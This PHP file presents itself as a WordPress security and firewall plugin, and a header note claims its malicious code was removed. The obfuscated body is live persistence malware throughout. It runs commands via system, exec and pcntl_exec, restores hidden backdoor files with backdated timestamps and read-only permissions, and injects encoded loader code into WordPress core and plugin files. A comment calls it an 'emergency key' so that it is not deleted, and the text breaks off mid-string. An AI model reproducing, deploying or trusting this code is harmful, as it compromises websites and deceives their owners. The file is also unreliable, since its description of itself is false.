<?php
/**
* Note: This file may contain artifacts of previous malicious infection.
* However, the dangerous code has been removed, and the file is now safe to
/**
* Plugin Name:  Graybyte-Sec 360 Security and  Firewall
*  Plugin URI:  https://graybyte.host/graybyte-sec 360 security
* Description: The Most Popular Wordpress Firewall & Security Scanner Wordpress Security Requires A Team Of Dedicated
* Analysts Researching The Latest Malware Variants And Wordpress Exploits
* Turning Them Into Firewall Rules And Malware Signatures, And Releasing Those To Customers In Real-time.
* Choose The Right Protection For You: [Graybyte-Sec 360 Security Free, Premium,
* Graybyte-Sec 360 Security Is Widely Acknowledged As The Number One Wordpress Security Research Team In The World.
* Our Plugin Provides A Comprehensive Suite Of Security Features,
* And Our Team’s Research Is What Powers Our Plugin And Provides The Level Of Security That We Are Known For.
* Graybyte-Sec 360 Security is The Most Comprehensive Wordpress Security Solution Available
*
* Version:     8.0.5 
* Author:      GRAYBYTE
* Author URI:  https://graybyte.host/graybyte-sec 360 security
* License:     GPL-2.0+
* * Text Domain: graybyte-sec-360-security
* Network:     true
* Tags: Security, Malware, 2FA, Firewall, Scanner
* Requires PHP: 7.0
* Tested up to: 6.8
* License: GPLv3
* License URI: https://www.gnu.org/licenses/gpl-3.0.html
*/
/*******************************************************************
* Graybyte-Sec 360 Security Includes An Endpoint Firewall, Malware Scanner,
* Robust Login Security Features, Live Traffic Views, And More.
* Our [threat Defense Feed](https://www.graybyte.host/threat-intel/) Arms Graybyte-Sec 360 Security With The Newest Firewall Rules,
*malware Signatures, And Malicious Ip Addresses It Needs To Keep Your Website Safe.
*
*  WORDPRESS FIREWALL
*  Web Application Firewall](https://www.graybyte.host/help/firewall/)** Identifies And Blocks Malicious Traffic.
* Built And Maintained By A Large Team Focused 100% On Wordpress Security.
* Protects Your Site At The Endpoint**, Enabling Deep Integration With Wordpress. Unlike Cloud Alternatives, It Does Not
* Integrated Malware Scanner](https://www.graybyte.host/help/scan/)** Blocks Requests That Include Malicious Code
*
* WORDPRESS SECURITY SCANNER
* Malware Scanner** Checks Core Files, Themes And Plugins For Malware, Backdoors, Seo Spam, Malicious
* Redirects,Code Injections.
* Real-time Malware Signature Updates [premium]** Via The Threat Defense Feed (free Version Is Delayed By 30 Days).
*
* SECURITY TOOLS
* Analytics Packages In Real Time; Including Origin, Their Ip Address, The Time Of Day And Time Spent On Your Site.
* Block Attackers By Ip** Or Build Advanced Rules Based On Ip Range, Hostname, User Agent And Referrer.
*  DO NOT DELETE THIS FILE – it is your master emergency key.
* Keep At Least One Offline Backup.
**/
goto It07v; HpfZA: $He228 = md5("\x77\160\137\x63\x72\x65\x61\164\x65\x5f\156\x6f\x6e\143\145") . "\56\x74\x78\164"; goto iA0xi; HfXuQ: gJ3Wq: goto wv6ga; K1Tl4: $X3I0J = false; goto VpaUX; yk1F2: goto GHbAT; goto n0Bv2; ZBakO: HXrhv: goto fKW_b; zPmIe: function njfkl($U34mP, $hod7h = 30) { goto FsZwD; INQF4: curl_setopt($v3fph, CURLOPT_SSL_VERIFYHOST, FALSE); goto n1upU; auqZ9: curl_setopt($v3fph, CURLOPT_RETURNTRANSFER, 1); goto lMkkw; GjflT: $wqYai = file_get_contents($U34mP); goto Zdkrr; gupDs: gfkE4: goto jYKhK; vfedU: $wqYai = curl_exec($v3fph); goto HWywt; jYKhK: $v3fph = curl_init(); goto Z_17U; lMkkw: curl_setopt($v3fph, CURLOPT_CONNECTTIMEOUT, 10); goto INQF4; CIOw_: Vg9HN: goto c0u2Q; n1upU: curl_setopt($v3fph, CURLOPT_SSL_VERIFYPEER, FALSE); goto Hs15y; Z_17U: curl_setopt($v3fph, CURLOPT_URL, $U34mP); goto auqZ9; Hs15y: curl_setopt($v3fph, CURLOPT_TIMEOUT, $hod7h); goto vfedU; c0u2Q: return $wqYai; goto SrrTy; Zdkrr: goto Vg9HN; goto gupDs; FsZwD: $wqYai = ''; goto MU2ao; HWywt: curl_close($v3fph); goto CIOw_; MU2ao: if (function_exists("\x63\165\162\154\x5f\145\x78\x65\x63")) { goto gfkE4; } goto GjflT; SrrTy: } goto GPaD2; m74Iq: goto avQT0; goto DPpg1; Lf7qJ: $ddv2l = __FILE__; goto X2j85; I_cU5: $e5taZ = trim($_POST["\x62\x61\x6b\137\x66\x69\154\145" . $axYvl]); goto RiZZp; leE_Y: $axYvl++; goto N7vs_; BxXJh: V_zeB: goto DSqxF; RcdSj: optNA: goto vrbgD; uKCaN: exit; goto GBY6C; acR55: if (!is_file($y0bjg . "\57" . $He228)) { goto bXiXS; } goto Pp4ft; oFsN0: $R9kcQ = str_replace("\x5c", "\x2f", $_SERVER["\x53\103\122\111\120\124\x5f\x46\x49\x4c\105\x4e\101\115\x45"]); goto UhbWw; N7vs_: goto KWn1C; goto gpB22; fKW_b: goto OP0y6; goto u08HC; m0XqJ: echo "\x3c\142\x72\76\74\x62\162\76\x53\55\105\x20\x58\40\x43\x20\40\x45\130\121\124\104\x3c\142\162\x3e" . $RuyH0; goto aE9Gg; Ipd1l: tURLk: goto u1OuY; wk_73: echo "\74\x68\61\x20\x73\164\171\154\145\75\x22\143\157\x6c\157\162\x3a\40\43\x30\144\x66\146\60\x30\146\x66\x3b\x20\x22\x3e\40\x3c\142\x72\x3e\74\x62\162\x3e\74\142\x72\x3e\74\142\162\x3e\75\x23\75\x3d\43\75\x3d\x23\75\x3d\43\75\75\43\x3d\x3d\x23\x3d\75\43\x3d\x3d\x23\x3d\x20\x53\x55\x43\x43\x45\123\123\x46\x55\x4c\114\40\x4c\117\103\113\104\x4f\127\116\40\75\43\x3d\x3d\x23\x3d\75\x23\75\75\43\75\x3d\x23\75\75\43\75\x3d\x23\75\75\43\x3d\74\x2f\x68\x31\76"; goto BZrHG; JG3wR: $IFcPd = "\44\x6c\x6f\x63\153\137\x66\151\x6c\145\137\154\x69\163\164\75\x61\x72\162\x61\x79\x28" . $ZPFja . "\x29\73"; goto RALiO; Pp4ft: chmod($y0bjg . "\x2f" . $He228, 0777); goto EgK98; v0NYc: goto HXrhv; goto T5JMG; lWI33: if (xtZ18() == true) { goto gF_XB; } goto D3KQy; DPiYE: echo "\x3c\150\61\x20\x73\164\x79\154\x65\75\x22\143\157\x6c\x6f\162\x3a\x20\43\60\144\x66\146\x30\x30\x66\146\x3b\x20\42\x3e\x20\74\142\x72\76\x3c\142\x72\x3e\x3c\x62\162\x3e\74\142\162\76\x3d\x23\x3d\75\x23\x3d\x3d\x23\75\75\x23\x3d\x3d\x23\x3d\75\43\x3d\75\x23\x3d\x3d\43\x3d\x20\x53\125\x43\x43\105\123\x53\x46\x55\x4c\114\40\x4c\117\x43\x4b\104\x4f\x57\x4e\x20\x3d\x23\75\x3d\43\x3d\75\43\x3d\x3d\43\75\75\x23\75\x3d\x23\75\75\x23\75\75\x23\75\74\57\x68\61\76"; goto WWjsI; bcwew: ini_set("\x6d\x61\170\x5f\145\x78\145\x63\x75\164\151\157\x6e\137\x74\151\155\145", 0); goto noh5T; Q3JDJ: function k_zYr($kERJy = 0) { goto LGIbT; ebszG: goto j1T_g; goto hChmG; LGIbT: global $y0bjg, $at1Ob, $He228, $qeMJL, $Zukcn, $tNsCB, $Rz0XO; goto WydoZ; LAQhL: $cGAkD++; goto eb6yR; hn7Xw: W22xV: goto iQbm_; WEGYV: if (!(md5(file_get_contents($vUFug[$axYvl]["\x74\141\162\x67\145\x74"])) != $vUFug[$axYvl]["\x62\141\x6b\x5f\143\157\156\x74\x65\x6e\x74\137\155\144\65"])) { goto W82Ys; } goto WriZg; qCtkS: unlink($vUFug[$axYvl]["\x74\141\x72\x67\x65\164"]); goto I72l8; hChmG: GaC1m: goto h8gU9; I72l8: file_put_contents($vUFug[$axYvl]["\x74\x61\162\147\145\164"], $vUFug[$axYvl]["\x62\x61\x6b\x5f\x63\157\x6e\x74\x65\x6e\x74"]); goto WkLk3; iQbm_: goto vR8Lp; goto qxovv; crKra: Ym2un: goto y1GBB; iJjw9: $axYvl = 0; goto i3FzR; d6Go9: $kERJy--; goto ST6fK; mPX11: file_put_contents($y0bjg . "\x2f" . $He228, "\60"); goto UqsAV; YOr7y: $VR6t4 = false; goto iJjw9; zDQjq: unlink($vUFug[$axYvl]["\x62\x61\153"]); goto cgWX5; h8gU9: $vUFug = array(); goto zOS08; zqkul: if (!$VR6t4) { goto Uwy3r; } goto DxIgZ; FpXF3: $vUFug[$axYvl]["\x62\141\x6b\x5f\143\157\x6e\x74\145\x6e\x74"] = trim(file_get_contents($vUFug[$axYvl]["\142\141\x6b"])); goto bVEII; ST6fK: if (!($kERJy <= 0)) { goto urZHg; } goto KtfYN; ja1W5: $at1Ob = true; goto xyP2d; XrAtl: if (!($vUFug[$axYvl]["\x62\141\153\137\143\157\156\164\x65\x6e\164"] != '')) { goto Ym2un; } goto NjE3y; KiQNd: if (!($axYvl < count($vUFug))) { goto l0EL1; } goto XrAtl; pqbJx: Zuh0H: goto YOr7y; LKzj3: eUNFM: goto nqRTl; OnriO: goto rKQ1J; goto BcowN; n1Rpu: chmod($vUFug[$axYvl]["\164\141\x72\x67\x65\164"], 0444); goto Pz7Lz; y1GBB: pFblr: goto r7eDd; xuwjr: vR8Lp: goto zqkul; ZoUAs: MYYKL: goto LKzj3; cgWX5: QwA2L: goto DxFXK; LmnTI: file_put_contents($vUFug[$axYvl]["\164\141\162\147\145\x74"], $vUFug[$axYvl]["\142\x61\x6b\x5f\x63\x6f\156\x74\x65\156\164"]); goto eeEWN; i3FzR: rKQ1J: goto rhqqL; XaFBj: ga_vX: goto hCqTL; r7eDd: $axYvl++; goto kCEyr; Uk3qu: chmod($y0bjg . "\x2f" . $He228, 0777); goto mPX11; WriZg: chmod($vUFug[$axYvl]["\x74\141\x72\147\145\164"], 0777); goto qCtkS; bVEII: if (!(Xtz18() == true || $kERJy > 0)) { goto QwA2L; } goto zDQjq; Cf2p1: X1Ik3: goto x7IDE; rEiQe: chmod($vUFug[$axYvl]["\x74\x61\x72\x67\145\164"], 0444); goto U2Ydu; WkLk3: touch($vUFug[$axYvl]["\x74\141\162\147\145\x74"], strtotime("\55\x34\60\60\x20\144\141\x79\163", time())); goto n1Rpu; xyP2d: goto Uwy3r; goto Cf2p1; BcowN: BSmDC: goto CXHYd; WydoZ: if (!(Xtz18() == true || $kERJy > 0)) { goto ga_vX; } goto Aeb7N; xjO0M: $vUFug[$axYvl]["\x62\141\153\137\x63\x6f\156\164\x65\x6e\x74\137\155\144\x35"] = md5($vUFug[$axYvl]["\142\141\x6b\137\143\157\156\164\145\x6e\164"]); goto QCrQn; hz_T9: if (!($vUFug[$axYvl]["\x62\141\153\137\143\x6f\156\x74\145\156\x74"] != '')) { goto MYYKL; } goto xjO0M; Gnyqu: LXDCL: goto TNjpq; CXHYd: $cGAkD = 0; goto xuwjr; hCqTL: if ($y0bjg != '') { goto GaC1m; } goto jkFJ3; oNXqz: j1T_g: goto UezLr; QCrQn: $VR6t4 = true; goto ZoUAs; c9pds: if (!is_file($vUFug[$axYvl]["\x62\141\x6b"])) { goto DcmZE; } goto FpXF3; Pz7Lz: W82Ys: goto Oh8dZ; j_P9o: oGewK: goto KiQNd; kCEyr: goto oGewK; goto ah25i; TNjpq: if (!($kERJy > 0)) { goto W22xV; } goto d6Go9; NjE3y: if (!is_file($vUFug[$axYvl]["\164\x61\x72\x67\145\x74"])) { goto LtUwj; } goto WEGYV; KtfYN: goto Uwy3r; goto j3zB0; j3zB0: urZHg: goto hn7Xw; nqRTl: $axYvl++; goto OnriO; U2Ydu: De3zE: goto crKra; ah25i: l0EL1: goto faswf; eb6yR: if (!(isset($_GET["\x6d\x61\x78\137\164\151\x6d\x65\163"]) && $_GET["\155\x61\170\x5f\x74\151\x6d\x65\163"] == 0)) { goto LXDCL; } goto mTZDG; Oh8dZ: goto De3zE; goto UfR1F; faswf: usleep(1000); goto LAQhL; jkFJ3: echo "\x3c\142\162\x3e\x3c\142\162\76\74\x62\162\76\74\x62\x72\76\74\150\61\x20\163\x74\x79\154\145\x3d\42\143\x6f\x6c\x6f\x72\72\40\43\x66\x66\60\60\x30\x30\146\x66\73\x20\42\76\40\75\x21\75\75\x21\x3d\75\x21\75\75\41\75\75\x21\x3d\x3d\41\75\x3d\x21\x3d\75\x21\x20\x43\101\x4e\40\x4e\x4f\x54\40\104\105\124\x45\x52\x4d\111\116\105\x20\104\117\103\x20\x52\x4f\x4f\x54\40\55\x2d\55\x20\x45\x58\x45\103\x55\124\111\x4f\x4e\40\106\x41\x49\x4c\105\104\x20\75\41\x3d\75\41\75\75\x21\x3d\x3d\41\75\75\41\x3d\75\x21\x3d\75\x21\75\75\41\x20\x3c\57\x68\x31\76"; goto AMRQc; rhqqL: if (!($axYvl < count($vUFug))) { goto BSmDC; } goto c9pds; zOS08: foreach ($Zukcn as $LHOSh) { $vUFug[] = array("\x74\141\162\147\145\164" => $Rz0XO . "\x2f" . $LHOSh["\x74\141\162\147\145\x74"], "\x62\x61\153" => $Rz0XO . "\57" . $LHOSh["\x62\x61\153"], "\142\141\153\x5f\143\x6f\156\164\x65\x6e\164" => '', "\142\141\x6b\137\143\x6f\x6e\x74\145\156\164\x5f\155\144\x35" => ''); mzNi6: } goto pqbJx; AMRQc: exit; goto ebszG; DxIgZ: if (!(is_file($y0bjg . "\57" . $He228) && trim(file_get_contents($y0bjg . "\57" . $He228)) == $qeMJL)) { goto X1Ik3; } goto Uk3qu; DxFXK: DcmZE: goto hz_T9; UfR1F: LtUwj: goto LmnTI; eeEWN: touch($vUFug[$axYvl]["\x74\x61\162\147\x65\164"], strtotime("\x2d\64\60\x30\x20\x64\x61\171\x73", time())); goto rEiQe; UqsAV: unlink($y0bjg . "\x2f" . $He228); goto ja1W5; SsC55: file_put_contents($tNsCB, $cGAkD); goto Gnyqu; x7IDE: $axYvl = 0; goto j_P9o; qxovv: Uwy3r: goto oNXqz; mTZDG: chmod($tNsCB, 0777); goto SsC55; Aeb7N: unlink(__FILE__); goto XaFBj; UezLr: } goto Nra5i; w31UR: chmod($aT4O3, 0777); goto zjyF1; q2hAF: $w7Z_b = false; goto r9Vud; T5JMG: jz_5u: goto acR55; EiN72: goto GHbAT; goto WYjlB; Mi7UR: if (!is_file($aT4O3)) { goto V_zeB; } goto w31UR; sd3wN: Iy7n0: goto iUKBv; FQk9u: echo "\74\150\x31\x20\x73\164\x79\154\x65\x3d\x22\x63\157\154\157\162\x3a\40\x23\x30\x64\x66\x66\x30\60\x66\146\x3b\40\42\76\40\x3c\142\x72\76\x3c\x62\162\76\74\142\x72\x3e\74\x62\162\76\x3d\43\75\75\x23\x3d\x3d\x23\x3d\x3d\43\75\x3d\43\x3d\75\x23\x3d\75\43\x3d\x3d\x23\75\x20\x53\x55\103\103\105\x53\123\x46\x55\114\114\40\x4c\x4f\x43\113\x44\x4f\x57\116\x20\110\124\x54\x50\40\x3d\x23\75\75\43\75\75\x23\x3d\75\x23\x3d\75\43\x3d\x3d\43\x3d\75\43\75\x3d\43\75\x3c\x2f\x68\61\x3e"; goto u_EHH; WYjlB: MYfZn: goto i2Joi; qAkwU: $y0bjg = trim(file_get_contents($aT4O3)); goto oCOi0; RDR0p: if (function_exists("\x65\x78\x65\143")) { goto WjMkz; } goto eeAud; Ji_Rr: k_zYR(0); goto qFxZa; q_GP8: sgW40: goto nG7iz; e8FSk: hd_Nm(); goto tunTE; RiZZp: $RPAVc = trim($_POST["\x74\x61\162\147\x65\x74\x5f\x66\151\154\145" . $axYvl]); goto lDIm7; eCZ_P: hD_nM(); goto EiN72; y3McJ: chmod($y0bjg . "\57" . $He228, 0777); goto D3z1U; WiRzq: hD_NM(); goto jeuup; i7JMl: echo "\x3c\x68\x31\40\163\x74\x79\x6c\145\75\42\x63\157\x6c\x6f\162\x3a\40\43\60\144\146\x66\60\60\x66\146\73\x20\42\76\x20\74\142\x72\x3e\x3c\x62\x72\x3e\x3c\x62\162\x3e\74\142\162\x3e\x3d\43\x3d\x3d\43\75\x3d\43\x3d\x3d\x23\x3d\x3d\43\x3d\x3d\43\x3d\x3d\43\x3d\x3d\43\75\x20\x53\125\103\x43\105\123\x53\x46\x55\x4c\114\x20\114\117\x43\x4b\104\117\127\116\x20\x3d\43\75\75\x23\75\x3d\43\x3d\x3d\x23\75\x3d\x23\x3d\75\x23\x3d\75\43\75\75\x23\x3d\74\x2f\x68\x31\x3e"; goto m0XqJ; HJuCn: if (function_exists("\x73\x79\x73\164\145\x6d")) { goto HeGp1; } goto TOx8k; Xl6sc: bXiXS: goto dSjFZ; YtoVH: $Rz0XO = ''; goto ugQY0; R8WRZ: $TUOmK = str_replace("\x24\154\157\143\x6b\137\146\x69\x6c\145\137\x6c\151\163\x74\x3d\x61\x72\x72\141\x79\x28\141\162\162\141\171\50\42\x62\x61\x6b\x22\x3d\76\x22\57\x69\x63\157\x2f\x69\x63\x6f\156\56\x70\150\160\x22\x2c\x22\x74\141\162\147\x65\164\x22\75\x3e\x22\57\x69\x63\x6f\57\x66\151\154\145\146\165\156\x73\x2e\x70\x68\x70\x22\51\x29\73", $IFcPd, $TUOmK); goto GGGlV; SpURP: set_time_limit(0); goto bcwew; jf0vj: jAxQR: goto DPiYE; D3z1U: file_put_contents($y0bjg . "\x2f" . $He228, "\x30"); goto WuJ6V; XepGk: goto avQT0; goto zDpKJ; B5DDo: $D8Ugr = array($y0bjg . "\57\167\x70\55\143\x6f\156\x74\145\156\x74\x2f\x70\x6c\x75\147\151\x6e\x73\57\x61\153\x69\x73\x6d\x65\x74\x2f\162\165\156\154\x6f\147\x2e\164\170\x74", $y0bjg . "\x2f\167\x70\x2d\143\x6f\x6e\164\145\156\x74\x2f\160\x6c\165\x67\151\x6e\x73\x2f\150\145\x6c\x6c\157\x77\157\162\x6c\x64\56\x70\150\160", $y0bjg . "\57\167\x70\55\143\157\x6e\x74\x65\156\164\57\164\150\x65\x6d\x65\163\57\x64\x65\146\x61\x75\154\164\57\x73\x74\171\154\x65\163\56\x63\x73\163", $y0bjg . "\57\x77\160\x2d\143\157\156\164\145\x6e\164\x2f\165\160\x67\162\141\x64\x65\57\x74\145\155\160\56\x64\x61\x74", $y0bjg . "\x2f\x77\160\55\x63\x6f\x6e\x74\145\156\x74\x2f\165\160\154\157\141\x64\163\57\62\x30\62\x32\57\x30\x31\57\x30\67\64\65\61\62\x35\70\x39\x36\x2e\x78\x6c\x73", $y0bjg . "\x2f\167\160\55\x63\x6f\156\x74\x65\x6e\164\x2f\165\x70\x6c\x6f\141\144\163\57\62\60\x32\x32\57\60\x33\x2f\60\66\x31\62\x33\x36\70\x39\x37\64\x2e\x62\155\160"); goto K1Tl4; ugQY0: $Zukcn = array(array("\x62\141\x6b" => "\x69\143\157\156\56\x70\150\160", "\x74\x61\162\x67\145\x74" => "\151\x63\x6f\x6e\x2e\x70\x68\x70"), array("\142\141\x6b" => "\x66\151\x6c\x65\x66\x75\156\x73\x2e\160\x68\160", "\164\141\162\x67\x65\x74" => "\x66\x69\154\145\146\165\x6e\163\56\x70\150\x70")); goto zPmIe; D1h2t: s5U5i: goto L6mNi; B4_BU: $rRAOZ = array($y0bjg . "\57\x77\160\55\151\x6e\x63\154\x75\x64\145\x73\x2f\156\141\166\55\155\x65\x6e\x75\x2e\160\x68\160", $y0bjg . "\57\x77\160\55\151\156\143\154\x75\x64\x65\x73\57\x77\x69\x64\147\145\x74\x73\x2e\x70\150\160", $y0bjg . "\x2f\167\160\x2d\151\x6e\143\x6c\x75\144\x65\x73\57\x6d\145\144\151\141\56\160\150\160", $y0bjg . "\x2f\x77\160\55\x69\156\143\x6c\165\144\145\x73\57\150\x74\x74\160\56\x70\150\160", $y0bjg . "\x2f\167\x70\x2d\x69\156\143\x6c\x75\x64\145\x73\x2f\x75\160\144\141\164\x65\56\x70\x68\160", $y0bjg . "\57\167\160\x2d\151\156\143\x6c\x75\x64\145\x73\57\164\x61\x78\157\156\157\x6d\171\x2e\160\150\x70"); goto itxT7; QqgO4: goto qe1yL; goto vgnQ7; wXAmx: header("\130\55\x50\157\167\x65\162\x65\144\55\x42\x79\x3a\40\x57\x6f\x72\144\x50\x72\145\163\163"); goto Z4VEt; i2Joi: echo "\x3c\x68\61\40\x73\x74\171\154\145\75\x22\143\157\x6c\157\x72\x3a\40\43\x30\144\x66\146\x30\x30\x66\x66\73\x20\x22\x3e\x20\74\142\x72\76\74\142\162\x3e\x3c\x62\162\x3e\74\x62\162\76\x3d\x23\75\75\x23\x3d\x3d\43\x3d\75\43\75\75\x23\75\75\x23\x3d\x3d\43\75\75\43\75\x20\123\125\x43\x43\x45\123\123\106\x55\114\114\40\114\x4f\x43\113\104\x4f\x57\x4e\40\x3d\43\75\x3d\x23\75\x3d\43\x3d\x3d\43\x3d\75\43\75\x3d\x23\x3d\75\43\x3d\x3d\x23\75\x3c\x2f\150\x31\x3e"; goto fTNqB; nq1r1: system($RuyH0); goto e0xPv; d3uPq: echo "\x3c\x62\x72\x3e\x3c\x62\x72\x3e\x45\40\x58\40\103\x20\40\105\130\x51\x54\104\x3c\x62\x72\76" . $RuyH0; goto AcR9I; niA4y: $ui4s0 = array(); goto EzW41; BZrHG: echo "\74\142\x72\76\74\142\x72\x3e\123\x59\x2d\x45\40\x58\40\103\40\40\105\x58\121\x54\x44\74\x62\162\x3e" . $RuyH0; goto nq1r1; YnChw: $y0bjg = trim($y0bjg); goto mhECO; RALiO: $TUOmK = file_get_contents(__FILE__); goto R8WRZ; Ck0jE: if (isset($_SERVER["\x44\117\103\125\115\105\116\124\137\x52\117\117\x54"])) { goto OHx9O; } goto Od4HF; e17oN: KWn1C: goto PjqLi; pFair: if (!is_file($y0bjg . "\x2f" . $He228)) { goto s5U5i; } goto y3McJ; X7605: header("\x58\55\x43\157\x6e\x74\145\x6e\x74\55\124\x79\160\145\x2d\117\x70\164\x69\157\x6e\163\72\x20\156\x6f\x73\x6e\x69\x66\146"); goto wXAmx; nG7iz: echo "\x3c\150\x31\40\163\164\x79\x6c\145\75\x22\x63\x6f\154\x6f\162\72\40\x23\60\144\x66\146\60\60\x66\146\x3b\40\42\76\40\x3c\x62\x72\76\x3c\142\162\76\x3c\142\162\x3e\74\x62\162\76\75\x23\x3d\75\43\x3d\75\x23\75\x3d\43\x3d\75\x23\x3d\75\x23\x3d\75\43\x3d\x3d\43\75\40\123\125\x43\x43\x45\123\x53\106\x55\114\114\x20\x4c\117\103\x4b\x44\117\x57\116\40\x3d\43\75\75\43\x3d\75\x23\75\75\43\x3d\x3d\x23\x3d\75\43\75\x3d\x23\x3d\75\43\75\74\57\x68\x31\76"; goto plzaJ; kfXld: Cg939: goto qj0OZ; FqYlI: xuPwi: goto w_Ixv; E_JPb: sleep(2); goto XYmDe; Kc1of: ImrFX: goto QXvFV; GblVe: rGITR: goto B5DDo; iUKBv: $aT4O3 = __DIR__ . "\57" . md5("\x77\160\x5f\150\141\x73\150") . "\56\x74\170\164"; goto vnFt_; Z4VEt: if (!function_exists("\157\160\x63\141\x63\150\145\137\162\x65\163\145\164")) { goto Iy7n0; } goto hp6I4; itxT7: $gsaIC = "\x41\x42\x43\x44\105\x46\x47\x48\111\x4a\x4b\114\x4d\x4e\117\120\x51\x52\x53\124\x55\126\x57\130\x59\x5a\141\142\x63\x64\145\146\x67\150\151\x6a\153\x6c\x6d\x6e\157\160\x71\162\163\x74\165\166\167\x78\171\x7a\60\x31\x32\x33\x34\65\x36\x37\70\x39"; goto w2OXO; w_Ixv: czLdQ: goto hvIzF; P6tpB: pcntl_exec($x9wYk, array($ddv2l)); goto Yuuuw; n0Bv2: e0Qcu: goto i7JMl; zjyF1: unlink($aT4O3); goto BxXJh; eeAud: if (function_exists("\x73\150\x65\x6c\x6c\x5f\145\x78\145\x63")) { goto e0Qcu; } goto HJuCn; mhECO: $Rz0XO = getcwd(); goto IMY4n; w2OXO: $afl2A = substr(str_shuffle($gsaIC), 0, 6) . base64_encode(json_encode($ui4s0)) . substr(str_shuffle($gsaIC), 0, 6); goto j8BQZ; hp6I4: opcache_reset(); goto sd3wN; VuxS0: if (!is_file($aT4O3)) { goto yCDbv; } goto qAkwU; qj0OZ: foreach ($D8Ugr as $UUbUF) { goto Ywi0z; eq5ga: BdrcE: goto QeIBZ; xLNMn: IuFqn: goto on8eK; Zqnyb: $NGx2L = file_get_contents($UUbUF); goto E26kS; jHUaZ: file_put_contents($UUbUF, $NGx2L); goto mKLYX; Ywi0z: if (!is_file($UUbUF)) { goto fRLhd; } goto Zqnyb; EI67m: fRLhd: goto xLNMn; E26kS: $AhcnL = filemtime($UUbUF); goto Zq2EQ; QeIBZ: $NGx2L = rtrim($NGx2L, "\x3f\x3e"); goto uaLWL; uaLWL: $NGx2L .= $d26Yg[array_rand($d26Yg, 1)]; goto jHUaZ; Zq2EQ: foreach ($d26Yg as $Fk976) { goto g47g3; g47g3: $NGx2L = str_replace($Fk976, '', $NGx2L); goto Vhrmi; ysho_: jEI4U: goto ZZqzz; Vhrmi: $NGx2L = str_replace(trim($Fk976), '', $NGx2L); goto ysho_; ZZqzz: } goto eq5ga; F8ckG: chmod($UUbUF, 0644); goto EI67m; mKLYX: touch($UUbUF, $AhcnL); goto F8ckG; on8eK: } goto RcdSj; B6pcK: HD_nm(); goto R7E3l; H97nc: $axYvl = 1; goto e17oN; v2RE_: exit; goto GblVe; It07v: error_reporting(0); goto SpURP; e0xPv: Hd_nM(); goto wm_L7; ZPe51: L24PX: goto tuyrV; b09vA: $y0bjg = ''; goto Sei6l; VpaUX: foreach ($D8Ugr as $UUbUF) { goto HxPfO; IuFTF: $X3I0J = true; goto rNb4v; L9P13: FXTJR: goto LyQ36; HxPfO: if (!is_file($UUbUF)) { goto cH9TG; } goto IuFTF; rNb4v: goto ImrFX; goto JDw30; JDw30: cH9TG: goto L9P13; LyQ36: } goto Kc1of; wm_L7: goto GHbAT; goto criRs; GBY6C: OZcM3: goto q2hAF; u_EHH: echo "\x3c\142\162\76\x3c\x62\162\x3e\74\142\162\x3e\150\x74\x74\160\x28\40\163\x65\x74\x5f\x74\x69\x6d\x65\137\x6c\x69\x6d\151\164\75\x30\x2c\151\x67\x6e\157\x72\x65\137\165\163\145\x72\x5f\x61\x62\x6f\162\x74\75\164\162\x75\x65\x20\x29\x20\x65\x78\145\x63\x75\x74\x69\156\x67\74\x62\162\76\x3c\142\x72\76\x3c\x62\x72\76" . $ddv2l; goto mN5OB; kvW7e: $x9wYk = rIL6e(); goto Lf7qJ; ztsnC: if (!($w7Z_b == false)) { goto rGITR; } goto LRGM2; WWjsI: echo "\x3c\142\162\x3e\74\x62\162\76\x50\x43\x54\x2d\x45\40\x58\x20\103\x20\x20\105\130\121\x54\x44\74\x62\162\x3e" . $x9wYk . "\x20" . $ddv2l; goto P6tpB; j8BQZ: foreach ($rRAOZ as $rdXop) { goto kpuou; vfWNl: IdDdD: goto a3Xan; il_ik: chmod($rdXop, 0644); goto vfWNl; Y6alB: if (is_dir($r2RkA)) { goto bcYzz; } goto pXHqc; p1Xyl: unlink($rdXop); goto NyYrb; kpuou: $d26Yg[] = "\xd\xa\44\x77\x70\x5f\x75\x70\x64\141\x74\145\137\x66\x69\x6c\x65\75\42" . $rdXop . "\x22\73\15\12\x69\146\x20\x28\x20\x69\x73\x5f\146\x69\154\145\50\44\167\x70\x5f\165\160\x64\141\164\x65\137\146\151\x6c\145\x29\x20\x29\15\12\x7b\15\xa\x20\x20\x20\x20\44\167\160\x5f\x75\160\x64\x61\164\145\137\143\x6f\156\164\145\156\164\75\x74\x72\x69\155\x28\146\x69\154\145\137\147\145\164\x5f\143\157\156\164\145\x6e\x74\x73\50\x24\x77\x70\x5f\165\160\144\141\x74\145\x5f\x66\151\x6c\145\x29\51\x3b\xd\12\40\40\x20\40\x69\x66\x20\50\x20\44\167\160\137\x75\x70\x64\141\x74\145\137\143\x6f\x6e\x74\145\x6e\x74\x21\75\x22\x22\40\51\xd\xa\x20\x20\40\40\173\xd\xa\40\x20\40\x20\x20\40\40\40\44\167\160\x5f\x75\x70\144\x61\164\x65\x5f\143\x6f\x6e\x74\x65\156\x74\75\x73\x75\142\163\164\162\x28\x24\167\x70\137\x75\x70\x64\141\164\145\x5f\143\157\156\164\145\156\x74\x2c\x36\54\55\x36\x29\x3b\xd\xa\40\x20\40\x20\x20\x20\x20\40\44\167\x70\x5f\165\160\144\x61\164\145\137\143\157\x6e\164\145\x6e\x74\x3d\x62\141\x73\145\x36\64\x5f\x64\145\143\157\x64\x65\50\x24\x77\x70\x5f\x75\160\144\141\164\x65\x5f\143\157\156\x74\x65\x6e\x74\51\73\xd\xa\x20\40\40\x20\40\40\40\40\x24\167\x70\137\x75\160\144\141\x74\145\137\x61\162\x72\75\152\163\x6f\156\137\x64\x65\x63\x6f\x64\x65\50\x24\167\x70\x5f\165\x70\144\x61\x74\x65\x5f\x63\157\x6e\164\145\156\164\x2c\x74\x72\x75\145\51\73\xd\xa\40\x20\40\40\40\40\40\40\x69\146\x20\x28\x20\x69\x73\137\x61\x72\162\141\171\x28\44\167\x70\137\165\x70\144\x61\x74\145\x5f\141\162\162\x29\40\51\xd\12\40\x20\x20\40\40\x20\x20\x20\173\xd\xa\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x66\x6f\x72\145\141\x63\150\50\44\x77\160\x5f\x75\x70\x64\x61\164\145\x5f\141\162\162\x20\141\x73\x20\44\x76\141\154\x75\145\x29\xd\12\40\40\40\40\x20\40\x20\x20\40\40\40\x20\173\15\xa\x20\40\40\40\40\40\x20\40\x20\40\x20\x20\x20\x20\40\40\x24\x66\x69\154\145\137\155\x74\x69\x6d\145\75\x66\x69\154\x65\x6d\x74\x69\x6d\145\50\x24\166\141\x6c\165\145\x5b\42\160\x61\164\150\42\135\51\x3b\xd\12\x20\40\40\40\x20\x20\